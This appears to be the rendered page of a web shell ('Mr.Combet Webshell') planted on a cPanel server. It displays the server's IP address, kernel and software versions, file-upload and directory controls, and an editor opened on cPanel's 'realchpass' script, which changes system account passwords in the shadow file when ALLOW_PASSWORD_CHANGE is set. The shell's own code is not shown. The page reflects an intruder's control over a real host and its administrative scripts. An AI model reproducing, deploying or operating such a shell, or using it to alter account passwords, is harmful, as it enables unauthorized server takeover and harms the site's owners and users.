Mr.Combet Webshell
Your IP :
3.144.193.255
Server IP :
185.136.159.155
Server :
Linux 185-136-159-155.cprapid.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software :
Apache
PHP Version :
8.1.29
Add File :
Submit
Add Directory :
Submit
Dir :
~
/
scripts
/
Edit File Name :
realchpass
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/realchpass Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited #---------------------------------------------------------------------- # TODO: Make this script print errors to STDERR rather than STDOUT. #---------------------------------------------------------------------- use strict; use warnings; BEGIN { $ENV{'LANG'} = 'C'; } use Crypt::Passwd::XS (); use Cpanel::AcctUtils::Suspended (); use Cpanel::Auth::Generate (); use Cpanel::Auth::Shadow (); use Cpanel::AcctUtils::Account (); use Cpanel::Locale (); use Cpanel::Logger (); # Prevent html from leaking out when called from wwwacct binary eval { no warnings 'once'; local $SIG{'__DIE__'}; require Whostmgr::UI; $Whostmgr::UI::nohtml = 1; }; my $logger = Cpanel::Logger->new(); my @DASH_ARGV = grep( m/^-/, @ARGV ); @ARGV = grep( !m/^-/, @ARGV ); my $opt_raw = grep( m/raw/, @DASH_ARGV ) ? 1 : 0; my $opt_locale = ( grep( m/locale=([A-Za-z0-9-_]+)/, @DASH_ARGV ) )[0]; my $locale_key = ( $opt_locale && $opt_locale =~ m/=([A-Za-z0-9-_]+)/ ) ? $1 : 'en'; my $locale = Cpanel::Locale->get_handle($locale_key); my $user = shift @ARGV; my $pass = shift @ARGV; if ($pass) { $logger->warn( $locale->maketext("Insecure passing of password on ARGV.") ); } unless ( exists $ENV{'ALLOW_PASSWORD_CHANGE'} && $ENV{'ALLOW_PASSWORD_CHANGE'} ) { my $str = <<EOM; ERROR: $0 Invocation changes only the system password and does not have any effect on other services associated with your cPanel account, including FTP, SSH, and WebDAV. It is strongly encouraged for you to change the password via the WHM & cPanel interface. You can force a password change through this script by setting the environment variable 'ALLOW_PASSWORD_CHANGE=1'. EOM print $str; #XXX: Should this be an error status?? exit; } if ( !$user ) { ( $user, $pass ) = split( m/ /, <STDIN>, 2 ); chomp($pass); } $user =~ s/\///g; if ( !length $user ) { exception( $locale->maketext("No user specified.") ); } if ( !Cpanel::AcctUtils::Account::accountexists($user) ) { exception( $locale->maketext( "“[_1]” does not exist, so the password cannot be changed!", $user ) ); } elsif ( Cpanel::AcctUtils::Suspended::is_suspended($user) ) { exception( $locale->maketext( "“[_1]” is suspended. Changing the password would unsuspend the account!", $user ) ); } elsif ( !$pass ) { exception( $locale->maketext("You cannot set a blank password!") ); } my $crypted_password = ( $opt_raw ? $pass : Cpanel::Auth::Generate::generate_password_hash($pass) ); my ( $status, $statusmsg ) = Cpanel::Auth::Shadow::update_shadow( $user, $crypted_password ); if ($status) { print $locale->maketext( "Password for “[_1]” has been changed.", $user ) . "\n"; exit 0; } else { exception( $locale->maketext( "Failed to change password for “[_1]”: [_2]", $user, $statusmsg ) ); } sub exception { my ($msg) = @_; $logger->warn($msg); print $msg . "\n"; exit 1; }
Save